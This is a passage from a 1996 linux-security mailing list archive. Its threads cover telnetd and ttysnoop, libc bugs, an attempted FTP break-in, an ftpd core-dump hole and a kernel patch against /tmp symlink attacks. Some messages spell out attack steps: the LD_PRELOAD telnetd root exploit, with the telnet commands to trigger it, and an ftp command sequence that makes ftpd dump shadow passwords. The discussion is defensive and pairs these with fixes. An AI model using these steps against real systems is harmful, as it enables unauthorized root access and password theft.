that great a difference between them, a paragraph at the bottom of global.c seemed to be the most significant addition. If anyone would check over my changes, I would appreciate it. I'm uploading it to sunsite, along with the original telnetsnoopd source (found on the slackware cdrom from InfoMagic June '96) ~~ All that is gold does not glitter.. . Not all those who wander are lost..J.R.R.T. . /\ . ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ._____// \\_____. And the knowledge that they fear . \\ Rush // . is a weapon to be held against them.. N.P. . \\ 2112 // . ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ . // /\ \\ . Ghost in the Machine ([email protected]) I[[[[[[[[]]]]]]]]I Roscinante ([email protected]) http://www.globalent.net/users/fbn From [email protected] Sun Oct 13 11:55:39 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.8.0/$Revision: 2.10 $) id LAA23538; Sun, 13 Oct 1996 11:55:39 -0400 Date: Fri, 11 Oct 1996 10:19:27 +0800 (GMT+0800) From: Michael Lu To: [email protected] Subject: [linux-security] Dialup Password Implementation Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list Greetings, We are currently running linux version 1.2.13. We are thinking to add a dialup passwords to our system. But I can't find any documentation for it. The only information I got is from AT&T System V's. ANyone out there can help me setup the /etc/dialups and /etc/d_passwd? I am not sure of the format, and not sure if it will work on Unix. Thank you very much in advance. regards, Myke Lu --- \||/ /-----o00o-@@-o00o-------------------+-------------------------------------\ | Michael Chieh-Ying, Lu | Address : 9th flr, SolidBank Bldg. | | System/Net Admin , Web Master | Dasmarinas st., Binondo | | Quasi-Net Communications Inc. | Manila, Philippines | | | Telephone : (632)245-8763, | | Pager : 145-511425 | (632)245-8764 | | Email : [email protected] | Fax : (632)242-4918 | \------------------------------------+-------------------------------------/ From [email protected] Sun Oct 13 11:55:43 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.8.0/$Revision: 2.10 $) id LAA23548; Sun, 13 Oct 1996 11:55:43 -0400 From: David Holland Message-Id: <[email protected]> Subject: Re: [linux-security] libc 5.4.7 To: [email protected] (Roscinante) Date: Wed, 9 Oct 1996 17:21:58 -0400 (EDT) Cc: [email protected], [email protected] In-Reply-To: from "Roscinante" at Oct 9, 96 02:35:35 pm X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list > > > Would you be willing to patch that up? > > > IMNSHO tty snooping is a violation of user privacy. I don't want any > > part of it, so, frankly, telnetsnoopd can fend for itself. It sounds > > like this is just another good reason not to use it... > > Are there patches to the original telnet/d at least?? I don't mean > to question anyone's morality, but I do use ttysnoop to -help- show > my users how to do things, and have occassionally snooped people > cracking... That's really unrelated to wanting to patch the src so > its not an easy crack tho... You need to patch it to block all environment variables except for those known to be safe (which is basically limited to a half dozen or so you can find in the current telnetd source.) I don't have telnetd diffs; you can make them with old netkit sources (judging from the date on the rcsid you posted, you need to go *way* back) but they're enormous. Which, as you might guess, is why I don't have them. Frankly, if what you want is a gadget for helping users, you probably want something that works more like script(1), and rather than expending effort on lost causes like telnetsnoopd you should spend the same time hacking script. -- - David A. Holland | VINO project home page: [email protected] | http://www.eecs.harvard.edu/vino From [email protected] Sun Oct 13 11:55:46 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.8.0/$Revision: 2.10 $) id LAA23557; Sun, 13 Oct 1996 11:55:46 -0400 To: [email protected] (Florian La Roche) Cc: [email protected] (David Holland), [email protected] (Jauder Ho), [email protected], [email protected], [email protected] Subject: Re: [linux-security] libc 5.4.7 References: <[email protected]> <[email protected]> From: steve farrell Date: 12 Oct 1996 14:53:38 -0500 In-Reply-To: [email protected]'s message of Thu, 10 Oct 1996 10:51:27 +0200 Message-ID: <[email protected]> Lines: 48 X-Mailer: Gnus v5.2.25/XEmacs 19.14 Sender: [email protected] Precedence: list [email protected] (Florian La Roche) writes: > > David Holland writes: > > > 5.4.8 is totally buggy for me. I am unable to compile anything > > > with it. I get a bunch of undefined stuff. I think putshort is one of > > > them.. just try compiling a hello.c with 5.4.8 There is a need to fix this > > > and others so that we have a decent working libc. 5.4.7 is pretty stable > > > but is pretty stable stable enough. Besides the 5.4.x series of libcs > > ^^^^^^^^^^^^^^^^^^^^^^^^^^^ > > ? > > > crashes netscape if it runs java and occasionally causes netscape to croak > > > without reason. > > > > Does this happen to anyone else? > > > > Does anyone have any idea why? Do we need to make a 5.3.12A release? > > This is happening for many people. One problem is an incompatible libxpm > and the other seems to be different malloc in 5.3.12 or higher. i've compiled 5.4.7 with the old malloc and the new malloc, and it *definitely* appears to cause instability with netscape/java runtime to use the new doug lea malloc. evidentally the difference is that the old malloc is forgiving of deletes called on non-malloc'd memory, but the new is not. i am still planning to confirm that netscape is in fact doing exactly this, and hence the instability. probably the best suggestion i've heard is to use the LD_PRELOAD to point netscape at it's own libc with the old malloc, and to write a script to launch netscape as such. i've just recompiled my libc.5.4.7 using the old malloc and it works fine. i don't notice any slowdown -- others do -- but i'm using a P6, so... --steve farrell > (5.2.18 is best for netscape.) in my (obviously informal) tests, 5.4.7 with old malloc is fine for netscape. however, short of compiling a special 5.4.7, using LD_PRELOAD to get 5.2.18 w/netscape only is probably a good plan. > xpm seems to be the worst thing. If you have menues or buttons with small > icons, netscape easily crashes. (Those icons are normally only available, > if people have installed Motif.) interesting -- i haven't seen this linux-security/linux-security.961014100664 1767 1767 10666 6230537764 16664 0ustar majdommajdomFrom [email protected] Mon Oct 14 06:46:46 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.8.0/$Revision: 2.10 $) id GAA02423; Mon, 14 Oct 1996 06:46:46 -0400 Date: Sun, 13 Oct 1996 16:28:45 -0400 (EDT) From: Roscinante To: Avery Pennarun cc: Linux-security Subject: Re: [linux-security] telnetd/telnetsnoopd (was Re: libc 5.4.7) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Sun, 13 Oct 1996, Avery Pennarun wrote: [Rosc] > > Ok, I spent the day doing a line-by-line comparison of the old telnetsnoopd & > I did some hacking on ttysnoop a while back, and it seems to me that the > only required change to telnetd was to make it call "ttysnoops" (notice the > trailing 's') instead of "login" after the connection was established. Boy, I wish I'd've known that before I spent the day hacking at it =) It's easy enough to edit /usr/include/paths.h to make #define _PATH_LOGIN "/bin/login" into /bin/ttysnoops momentarily, while telnetd compiles. That worked quite well, thank you for the info!! :) > The ttysnoops program does its thing with the tty's and then spawns login > normally. You then contact it with the "ttysnoop" (no trailing 's'). > So search and replace "/bin/login" with "/usr/sbin/ttysnoops" (or whatever > it is on your system) in the latest telnetd source, and you should be fine. > To avoid recompiling telnetd all the time, someone might add a > command-line parameter that tells telnetd what login program to use. > Hard-coding it in always seemed kind of silly to me. [REW: reverse-trimmed the quoting, so you all can now read it in just ONE message... :-) ] ~~ All that is gold does not glitter.. . Not all those who wander are lost..J.R.R.T. . /\ . ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ._____// \\_____. And the knowledge that they fear . \\ Rush // . is a weapon to be held against them.. N.P. . \\ 2112 // . ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ . // /\ \\ . Ghost in the Machine ([email protected]) I[[[[[[[[]]]]]]]]I Roscinante ([email protected]) http://www.globalent.net/users/fbn From [email protected] Mon Oct 14 18:34:27 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.8.0/$Revision: 2.10 $) id SAA09751; Mon, 14 Oct 1996 18:34:27 -0400 From: Miquel van Smoorenburg Message-Id: <[email protected]> Subject: Re: [linux-security] telnetd/telnetsnoopd (was Re: libc 5.4.7) To: [email protected] (Roscinante) Date: Mon, 14 Oct 1996 22:45:12 +0200 (MET DST) Cc: [email protected], [email protected] In-Reply-To: from "Roscinante" at Oct 13, 96 04:28:45 pm X-Mailer: ELM [version 2.4 PL25 PGP2] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list You (Roscinante) wrote: > On Sun, 13 Oct 1996, Avery Pennarun wrote: > > I did some hacking on ttysnoop a while back, and it seems to me that the > > only required change to telnetd was to make it call "ttysnoops" (notice the > > trailing 's') instead of "login" after the connection was established. > > > To avoid recompiling telnetd all the time, someone might add a > > command-line parameter that tells telnetd what login program to use. > > Hard-coding it in always seemed kind of silly to me. Funny, on Debian-1.1.10: telnetd - DARPA TELNET protocol server SYNOPSIS /etc/telnetd [-debug [port]] [-l] [-L login_program] [-D options] [-D report] [-D exercise] [-D netdata] [-D pty� data] The "-L" option does what you want. Strange that different distributions have different versions of something as "standard" as telnetd. AFAIK the Debian telnetd does have all the security fixes in it. Please correct me if I am wrong! Mike. -- Miquel van | Cistron Internet Services -- Alphen aan den Rijn. Smoorenburg, | mailto:[email protected] http://www.cistron.nl/ [email protected] | The truth is out there. 42. linux-security/linux-security.961016100664 1767 1767 22040 6231253035 16636 0ustar majdommajdomFrom [email protected] Wed Oct 16 03:43:15 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.8.0/$Revision: 2.10 $) id DAA23928; Wed, 16 Oct 1996 03:43:15 -0400 Message-Id: <[email protected]> To: [email protected] Subject: [linux-security] sshd with a custom shadow /bin/login Date: Tue, 15 Oct 1996 05:53:04 -0500 From: Kevin at Paranoia Sender: [email protected] Precedence: list Sorry, I haven't been able to reach www.cs.hut.fi all morning to check the ssh mailing list archive there and I'm in a bit of a time crunch to find an answer on this.. hopefully someone else can help me (and quick). I'm using sshd on a linux 2.0.22 system with a custom /bin/login (based on shadow-960810) which I'd like to have invoked from sshd when a login comes in by ssh. As it is, the sshd code contains its own "login" code that I don't want to have to modify for every change that I've made in my shadow login. Besides my other changes in the shadow /bin/login, sshd doesn't allow for MD5CRYPT passwords. Is there any way to have sshd just invoke /bin/login (with the -f flag if the user is preauthenticated) to perform the login? Is there some reason why it doesn't do this already (or at least offer the option)? How has anyone else dealt with this? Thank you very much. kevin -- [email protected] (personal priority mail address) got nothing better to do? "The Internet interprets the US Congress as damage and routes around it" From [email protected] Wed Oct 16 03:44:57 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.8.0/$Revision: 2.10 $) id DAA23952; Wed, 16 Oct 1996 03:44:57 -0400 From: Evgeny Stambulchik Message-Id: <[email protected]> Date: Wed, 16 Oct 1996 03:10:47 +0200 (GMT+0200) To: [email protected] Subject: [linux-security] Attempt to break through ftp X-Mailer: Ishmail 1.3-961005-linux MIME-Version: 1.0 Content-Type: text/plain Sender: [email protected] Precedence: list Hello, A few hours ago there was an attempt to break into our server. >From xferlog: Tue Oct 15 20:29:21 1996 28 dgr-il2-24.ix.netcom.com 4005 /incoming/lininfo.zip b _ i a fucker ftp 0 * Now, #file ~ftp/incoming/lininfo.zip ELF 32-bit LSB shared object, Intel 386, version 1, not stripped # strings ~ftp/incoming/lininfo.zip [skipped not interesting stuff] root-access Welcome to the wonderful world of uid = 0 squidge /bin/sh exploit from my forthcoming paper: Hardening your site - outside -> in --- As far as I can see, nothing wrong has happend (of course I removed the file & disabled net traffic from *.ix.netcom.com). Anybody knows what kind of attack is it? Or is it something new? Also, by a chance - some email of _real_ people at ix.netcom.com? root, support etc are just an autoreplyiers :-( Regards, Evgeny -- ____________________________________________________________ / Evgeny Stambulchik \ / Plasma Laboratory, Weizmann Institute of Science, Israel \ \ | Phone : (972)8-934-3610 == | == FAX : (972)8-934-3491 | | | URL : http://plasma-gate.weizmann.ac.il/~fnevgeny/ | | | Finger for PGP key >=====================================+ | |______________________________________________________________| From [email protected] Wed Oct 16 17:35:45 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.8.0/$Revision: 2.10 $) id RAA00648; Wed, 16 Oct 1996 17:35:45 -0400 Date: Wed, 16 Oct 1996 17:19:08 -0400 Message-Id: <[email protected]> From: Jeff Uphoff To: Evgeny Stambulchik Cc: [email protected] Subject: Re: [linux-security] Attempt to break through ftp In-Reply-To: Your message of Wed, October 16, 1996 03:10:47 +0200 References: <[email protected]> X-Quote-I-Like: "No, I'm not going to explain it. If you can't figure it out, you didn't want to know anyway..." --Larry Wall. X-Mailer: VM 5.95 (beta); GNU Emacs 19.29.1 X-Attribution: Up Sender: [email protected] Precedence: list "ES" == Evgeny Stambulchik writes: ES> Welcome to the wonderful world of uid = 0 ES> squidge ES> /bin/sh ES> exploit from my forthcoming paper: ES> Hardening your site - outside -> in ES> --- ES> Anybody knows what kind of attack is it? Or is it something new? This library can be found all over the place, in both source form and as mouse-droppings left over from break-in attempts: it's libroot.so, a shared library that replaces the libc getpass() and openlog() calls with a system() call that runs /bin/sh. Basic (remote) attack goes as follows: 1) FTP this library into a site's incoming area. 2) Start telnet. 3) Pass the fully-qualified path to the library in the remote system's FTP incoming area as $LD_PRELOAD via telnet's environment-passing features. 4) Connect to the remote system. 5) You've now got root on the remote system, without any authentication. Local attack varies in that you can use /tmp for stashing the library and then just connect to localhost. (These instructions can all be found in the readme for the source code.) This vulnerability has been known for quite awhile now--and has been fixed for quite some time as well. (It's *very* easy to exploit--it's one of the easiest break-in methods imaginable--and it has been widely used on the net.) The fixes have been relatively well-publicized. Some of the fixes that address this: 1) Fixed (patched) telnetd. 2) Static linking of /bin/login and friends. 3) Login "wrapper" program that cleans up the environment. --Up. -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | [email protected] PGP key available at: http://www.cv.nrao.edu/~juphoff/ From [email protected] Wed Oct 16 17:39:41 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.8.0/$Revision: 2.10 $) id RAA00674; Wed, 16 Oct 1996 17:39:41 -0400 From: Evgeny Stambulchik Message-Id: <[email protected]> Date: Wed, 16 Oct 1996 18:03:24 +0200 (GMT+0200) To: [email protected] Subject: Re[2]: [linux-security] Attempt to break through ftp In-Reply-To: <[email protected]> X-Mailer: Ishmail 1.3-961005-linux MIME-Version: 1.0 Content-Type: text/plain Sender: [email protected] Precedence: list Hello, First of all, thanks alot to all who replied to me! ------------------------------- Alan Cox wrote: > Probably the old LD_LIBRARY_PATH telnetd shared library attack. Yes, I guessed it, just didn't know which exploit source it was compiled from. Thanks to Andrew Tridgell for reference! > Since you > are clued up enough to read this group I think you'll have a modern telnetd Yes, of course I have the patched version since the first alert. > Put that file back in /tmp on your box and check if you get > > %telnet > telnet>environ define LD_PRELOAD /tmp/lininfo.zip > telnet>environ export LD_PRELOAD > telnet>telnet localhost > root-access > Welcome to the ... However, in my case it was in ~ftp/incoming, which had mode 733 (and owned by root). I think it would prevent the bug in old telentd to be exploited anyway, though I don't have the buggy version at hand to check it. [Mod: Mode 733 wouldn't have prevented exploit; inetd runs telnetd as root. --Jeff.] ------------------------------------------------------- Comfort is Treachery wrote: > Don't you have identd in your logs? AFAIU, identd should be running on client's box + ftpd server must be able to talk to it. Which ftpd has this capability? --------------------------------------------- James Fidell wrote: > E-mail to [email protected] will get an auto-response but should get > dealt with by the staff that handle Net abuse. Thanks, I'll do that. Regards, Evgeny BTW, it seems that there's no searchable html'ized archives of this list. That at www.sonic.net has only year 95 partly (and glimpse search is broke). If there is no objections, I can volounteer to do it. -- ____________________________________________________________ / Evgeny Stambulchik \ / Plasma Laboratory, Weizmann Institute of Science, Israel \ \ | Phone : (972)8-934-3610 == | == FAX : (972)8-934-3491 | | | URL : http://plasma-gate.weizmann.ac.il/~fnevgeny/ | | | Finger for PGP key >=====================================+ | |______________________________________________________________| linux-security/linux-security.961017100664 1767 1767 13242 6231536523 16651 0ustar majdommajdomFrom [email protected] Thu Oct 17 01:55:53 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.8.0/$Revision: 2.10 $) id BAA31077; Thu, 17 Oct 1996 01:55:53 -0400 From: Miquel van Smoorenburg Message-Id: <[email protected]> Subject: Re: [linux-security] tty chowning To: [email protected] (David Holland) Date: Wed, 16 Oct 1996 10:53:37 +0200 (MET DST) Cc: [email protected], [email protected] In-Reply-To: <[email protected]> from "David Holland" at Oct 10, 96 01:22:19 am X-Mailer: ELM [version 2.4 PL25 PGP2] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list You (David Holland) wrote: > About a month ago I mentioned a way to handle tty chowning without > being root. Unfortunately, it had some problems. > > Here's another shot: > > Make an ioctl on the pty end that does the chowning. > > ioctl(pty_fd, TIOCCHOWN, path) I think it's a good idea. Good enough for noone to comment on it any more :) I think you should just create the patch for the Linux-2.1.x tree and send it to Linus or post it on the linux-kernel mailing list. Or here? Mike. -- Miquel van | Cistron Internet Services -- Alphen aan den Rijn. Smoorenburg, | mailto:[email protected] http://www.cistron.nl/ [email protected] | The truth is out there. 42. From [email protected] Thu Oct 17 01:55:54 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.8.0/$Revision: 2.10 $) id BAA31084; Thu, 17 Oct 1996 01:55:54 -0400 From: Andrew Tridgell To: [email protected] CC: [email protected] In-reply-to: <[email protected]> (message from Evgeny Stambulchik on Wed, 16 Oct 1996 03:10:47 +0200 (GMT+0200)) Subject: [linux-security] Re: Alinux-securityA Attempt to break through ftp Reply-to: [email protected] Message-Id: <[email protected]> Date: Wed, 16 Oct 1996 19:54:05 +1000 Sender: [email protected] Precedence: list Evgeny wrote: > # strings ~ftp/incoming/lininfo.zip > > [skipped not interesting stuff] > > root-access > Welcome to the wonderful world of uid = 0 > squidge This comes from the "telnetd_exploit.tar.gz" package written by [email protected] (or at least thats the address in the readme that comes with the package). It exploits the LD_PRELOAD environment variable to attack telnetd. This is a well known security hole that has been discussed quite a lot here and other places. I used this package to demonstrate to the students the dangers of a writeable anonymous ftp directory. The student machines we use are quite old and are all vulnerable to this bug :-) Cheers, Andrew -- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Andrew Tridgell Dept. of Computer Science email: [email protected] Australian National University Phone: +61 6 254 8209 Fax: +61 6 249 0010 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- From [email protected] Thu Oct 17 19:12:14 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.8.0/$Revision: 2.10 $) id TAA16314; Thu, 17 Oct 1996 19:12:14 -0400 Date: Thu, 17 Oct 1996 09:39:44 +0200 (MET DST) From: Bruno Boettcher X-Sender: [email protected] Reply-To: [email protected] To: [email protected] Subject: [linux-security] lots of in.comsat calls lately... Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list Hello, last days i had lots of reports about in.comsat calls from other hosts in my domain.... Are there only goofy users or is there any exploit on this? [REW: There certainly are holes in comsat when your utmp file is world writable, (which some people do to be able to strip the suid bit off xterm and friends.)] ciao [email protected] From [email protected] Thu Oct 17 19:12:18 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.8.0/$Revision: 2.10 $) id TAA16327; Thu, 17 Oct 1996 19:12:18 -0400 From: Rob van Nieuwkerk Message-Id: <[email protected]> Subject: Re: [linux-security] Attempt to break through ftp To: [email protected] (Jeff Uphoff) Date: Thu, 17 Oct 1996 12:53:46 +0200 (MET DST) Cc: [email protected], [email protected] In-Reply-To: <[email protected]> from "Jeff Uphoff" at Oct 16, 96 05:19:08 pm Content-Type: text Sender: [email protected] Precedence: list > Basic (remote) attack goes as follows: > > 1) FTP this library into a site's incoming area. > > 2) Start telnet. > > 3) Pass the fully-qualified path to the library in the remote system's > FTP incoming area as $LD_PRELOAD via telnet's environment-passing > features. > > 4) Connect to the remote system. > > 5) You've now got root on the remote system, without any authentication. > Local attack varies in that you can use /tmp for stashing the library > and then just connect to localhost. (These instructions can all be > found in the readme for the source code.) Does anyone know if SSH is vulnerable to this trick ? Rob van Nieuwkerk linux-security/linux-security.961018100664 1767 1767 35204 6231742415 16653 0ustar majdommajdomFrom [email protected] Fri Oct 18 01:55:51 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.8.0/$Revision: 2.10 $) id BAA18376; Fri, 18 Oct 1996 01:55:51 -0400 Date: Thu, 17 Oct 1996 10:47:38 +0100 (MET) From: Comfort is Treachery To: Evgeny Stambulchik cc: [email protected] Subject: Re: Re[2]: [linux-security] Attempt to break through ftp In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Wed, 16 Oct 1996, Evgeny Stambulchik wrote: > Comfort is Treachery wrote: > > > Don't you have identd in your logs? > > AFAIU, identd should be running on client's box + ftpd server must be able to > talk to it. Which ftpd has this capability? maybe I didn't make myself clear; I mean, don't you have your tcpwrappers set up to log the auth info from the other side. Ftpd has nothing (little?) to do with it. [REW: Well but what tcp wrappers do, could also be done by the ftp deamon itself. I've seen ftp-deamons greet me with "hello username@mymachine" where it filled in my username whenever I had an identd running] Oct 17 11:41:28 kyojutsu wu.ftpd[16901]: connect from [email protected] Oct 17 11:41:42 kyojutsu ftpd[16901]: USER guesttry Oct 17 11:41:43 kyojutsu ftpd[16901]: PASS password Oct 17 11:41:44 kyojutsu ftpd[16901]: failed login from reptile.rug.ac.be [157.193.69.63], guesttry Oct 17 11:41:54 kyojutsu in.telnetd[16902]: connect from [email protected] of course *you* can not trust this information, but *the other side* can try and track down who did it, depending on what they run on there (no use with a ppp account :-) *-=-*-=-*-=-*-=-*-=-*-=-*-=-*-=-*-=-*-=-*-=-*-=-*-=-*-=-*-=-*-=-*-=-*-=-*-=-* Wim Vandeputte --So pound the nails in tight-- From [email protected] Fri Oct 18 01:55:54 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.8.0/$Revision: 2.10 $) id BAA18387; Fri, 18 Oct 1996 01:55:54 -0400 Date: Thu, 17 Oct 1996 12:06:40 -0500 (CDT) From: Derek Elder To: [email protected] Subject: [linux-security] Re: ftpd bug? Was: bin/1805: Bug in ftpd (fwd) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list Making sure this is looked at... | Derek Elder V.P., Network Operations| | [email protected] 888-637-3638 Ext. 21 | >Return-Path: [email protected] >From: Tim Hudson >Subject: Re: ftpd bug? Was: bin/1805: Bug in ftpd >To: [email protected] >Date: Thu, 17 Oct 1996 15:21:10 +1000 (EST) >Reply-To: [email protected] >Sender: [email protected] > > >According to Francis Liu: >> There is a discussion going on bugtraq about how ftpd can dump core >> exposing shadow passwords in the core file. Some people have also >> managed to make it follow symbolic links -> overwriting arbitrary files. >> >> I've managed to get a core dump using SSLftp 0.9 (so I guess I can >> make it overwrite files), but I haven't managed to get the shadow >> passwords, yet. >> >> Apparently the problem is in the wu-ftpd code somewhere. >> >> > logon via ftp with your regular user/password, >> > ftp> cd /tmp >> > ftp> user root wrongpasswd >> > ftp> quote pasv > > Actually the problem is in the base BSD ftpd code ... which most Unix >varients have inherited these days - don't blame wu for this bug. >The fix is (as usual) rather simple ... > > In ftpd/ftpd.c edit the function passive() to check for a null pw and >then return an error message. You may want to add logging of attempted >attacks if you are interested in tracking down problem users who don't know >how to hide effectively. > > /* don't let passive be set unless we are logged in! > * - this stops one of the core-dump holes in ftpd > * --tjh > */ > if (pw==NULL) { > perror_reply(425, "Open passive connection denied - not logged in"); > return; > } > > Alternatively you can change the ftpd code to block all core dumping >signals and log an error message an exit ... or perhaps have a more >pervasive check that the user is connected before allowing any of these >sort of commands to be invoked. > > The first patch is included in SSLftp[d]-0.10 due out in the next >few days. > >Tim. > > From [email protected] Fri Oct 18 01:57:46 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.8.0/$Revision: 2.10 $) id BAA18413; Fri, 18 Oct 1996 01:57:46 -0400 From: Michael Meskes Message-Id: <[email protected]> Subject: [linux-security] WinNT security? To: [email protected] Date: Thu, 17 Oct 1996 10:33:41 +0200 (MET DST) X-Mailer: ELM [version 2.4 PL25 PGP2] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list My company uses NT on most machines and intends to use it for the upcoming internet connection, too. Now I wonder whether there's any reason to use NT over Linux? Or in other words does anyone have amountion for me to talk them into using Linux on the primary net machine? I just noticed that NT only send encrypted passwords over the net. This seems to be a good idea. I just wonder how secure there algorithms are. Does anyone know how it compares to ssh? This may be off-topic but does anyone know if there's a similar list for NT? Michael -- Michael Meskes | _____ ________ __ ____ [email protected] | / ___// ____/ // / / __ \___ __________ [email protected] | \__ \/ /_ / // /_/ /_/ / _ \/ ___/ ___/ [email protected] | ___/ / __/ /__ __/\__, / __/ / (__ ) Use Debian GNU/Linux! | /____/_/ /_/ /____/\___/_/ /____/ From [email protected] Fri Oct 18 09:41:12 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.8.0/$Revision: 2.10 $) id JAA21255; Fri, 18 Oct 1996 09:41:12 -0400 From: Andrew Tridgell To: [email protected] Subject: [linux-security] a /tmp solution Reply-to: [email protected] Message-Id: <[email protected]> Date: Fri, 18 Oct 1996 10:39:35 +1000 Sender: [email protected] Precedence: list Here is yet another proposal for a generic fix to the security problems inherent in /tmp. Most (all?) of the problems center around using a symlink in /tmp to redirect a sloppily written filesystem operation to another place on the system. It seems to me that we need a way of preventing this kind of thing without disrupting the legitimate use of symlinks. Trying to fix every piece of code (and script) out there that might write to /tmp is a battle we can't win. My proposal is to change the semantics of symlinks when they are in directories which have the 't' bit set. Specifically, the namei code would not follow a symlink if the symlink is in a directory with the t bit set and the euid of the process does not match the owner of the symlink. This specifically includes the case where the euid of the process is 0 (thus root could not follow symlinks in /tmp that it does not own) I think that this would prevent all the /tmp symlink attacks I have heard of, and yet I don't think it would significantly impact on legitimate uses for symlinks, including in /tmp. I think that readlink() should be left alone, so "ls -l" will still show the destination of the link. Only the namei code would be altered. One problem might be the performance impact of looking up the permissions on the directory when following all symlinks, but I think that this can be minimised with a bit of careful coding. I know there have been other proposals on how to fix this problem, but in each case I think that the proposed changes were a bit too intrusive into the "normal" way people run unix boxes. I hope that the above proposal solves this. I started thinking about this while fixing a symlink-in-/tmp security hole in Samba. It required some quite careful coding (much more than just setting O_EXCL). At the same time I realised how many other common uses for /tmp may be vulnerable. For example, I often do things like "cat foo.dat | cut -f3 | sort -u > /tmp/foo". I know I should instead use ~/tmp/foo but old habits die hard. How many home-grown admin scripts are there out there that put stuff in /tmp using shell commands like that one? Cheers, Andrew From [email protected] Fri Oct 18 09:47:30 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.8.0/$Revision: 2.10 $) id JAA21295; Fri, 18 Oct 1996 09:47:30 -0400 From: Andrew Tridgell To: [email protected] CC: [email protected], [email protected] Subject: [linux-security] t bit and symlinks patch Reply-to: [email protected] Message-Id: <[email protected]> Date: Fri, 18 Oct 1996 22:40:52 +1000 Sender: [email protected] Precedence: list Here is an implementation of my proposal for fixing the "symlink-in-/tmp" style of security hole. Please let me know if you can see any problems with this patch, or a better way of doing it. This patch is against kernel 2.0.22 but should work with any recent kernel. Cheers, Andrew --- linux/fs/namei.c.orig Fri Oct 18 22:21:43 1996 +++ linux/fs/namei.c Fri Oct 18 22:07:06 1996 @@ -17,6 +17,7 @@ #include #include #include +#include #define ACC_MODE(x) ("\000\004\002\006"[(x)&O_ACCMODE]) @@ -205,6 +206,20 @@ *res_inode = inode; return 0; } +#ifdef CONFIG_SYMLINK_FIX + /* don't follow links in directories that have the t bit set + if the fsuid != the owner of the link. This stops all + the nasty "symlink-in-/tmp" security holes. Note + that this explicitly includes root (tridge) + */ + if (S_ISLNK(inode->i_mode) && (dir->i_mode & S_ISVTX) && + current->fsuid != inode->i_uid) { + iput(dir); + iput(inode); + *res_inode = NULL; + return -EPERM; + } +#endif return inode->i_op->follow_link(dir,inode,flag,mode,res_inode); } --- linux/fs/Config.in.orig Fri Oct 18 22:21:24 1996 +++ linux/fs/Config.in Fri Oct 18 22:06:10 1996 @@ -6,6 +6,7 @@ bool 'Quota support' CONFIG_QUOTA bool 'Mandatory lock support' CONFIG_LOCK_MANDATORY +bool 'Symlink security fix' CONFIG_SYMLINK_FIX tristate 'Minix fs support' CONFIG_MINIX_FS tristate 'Extended fs support' CONFIG_EXT_FS tristate 'Second extended fs support' CONFIG_EXT2_FS --- linux/Documentation/Configure.help.orig Fri Oct 18 22:22:23 1996 +++ linux/Documentation/Configure.help Fri Oct 18 22:13:16 1996 @@ -2798,6 +2798,17 @@ writing none of these are available. So it's safest to say N here unless you really know that you need this feature. +Symlink security fix +CONFIG_SYMLINK_FIX + A very common class of security hole on unix-like systems involves a + malicious user creating a symbolic link in /tmp pointing + at another users file (often a file owned by root). When the victim + then writes to that file they inadvertently write to the wrong file. + Enabling this option fixes this class of security hole by preventing + a process from following a link which is in a directory with the t bit + set unless they own the link. + It is highly recommended that you say yes to this option. + Minix fs support CONFIG_MINIX_FS Minix is a simple operating system used in many classes about From [email protected] Fri Oct 18 11:31:20 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.8.0/$Revision: 2.10 $) id LAA22315; Fri, 18 Oct 1996 11:31:20 -0400 Date: Fri, 18 Oct 1996 15:53:09 +0200 (MET DST) From: Leos Bitto To: [email protected] Subject: [linux-security] Security hole in installation of suidperl from RedHat 4.0 Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; 